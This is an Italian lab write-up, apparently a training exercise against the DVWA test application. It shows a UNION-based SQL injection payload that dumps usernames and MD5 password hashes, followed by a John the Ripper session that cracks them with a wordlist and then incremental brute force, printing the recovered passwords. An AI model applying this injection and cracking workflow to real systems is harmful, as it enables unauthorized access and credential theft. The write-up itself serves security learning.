

1) SQL injection già effettuata:

User ID:

ID: ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

2) Il password cracking in questione si divide in due macro-categorie:

La prima e più semplice è un attacco al dizionario, che utilizza una lista di password comuni già presenti nella cartella /usr/share/john/password.lst

Le password in questione hanno decifrato la crittografia di
admin

smithy

gordonb

pablo

Poiché all'interno del documento sono già presenti, a John The Ripper sono serviti solo i tentativi necessari per provare a decrittare le password usando la lista a sua disposizione.

Cambia invece la metodologia per quanto concerne l'ultima password, "charley" che non è presente nel documento. Nell'immagine infatti si nota come JtR prova ad utilizzare il metodo di cui abbiamo parlato ma senza successo. Procedo dunque a cambiare metodologia di attacco, passando ad un "bruteforce", ovvero prova in successione tutte le lettere (a,aa,aaa,aaaa e così via) prima di arrivare alla soluzione.

Di seguito il file con le password decifrate

```
(davide@kali)-[~]
$ john --format=raw-md5 /home/davide/Scrivania/Password.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=3
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 12 candidates buffered for the current salt, minimum 24 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password      (admin)
password      (smithy)
abc123        (gordonb)
letmein       (pablo)
Proceeding with incremental:ASCII
charley       (1337)
5g 0:00:00:00 DONE 3/3 (2023-05-23 19:53) 22.72g/s 828481p/s 828481c/s 906663C/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```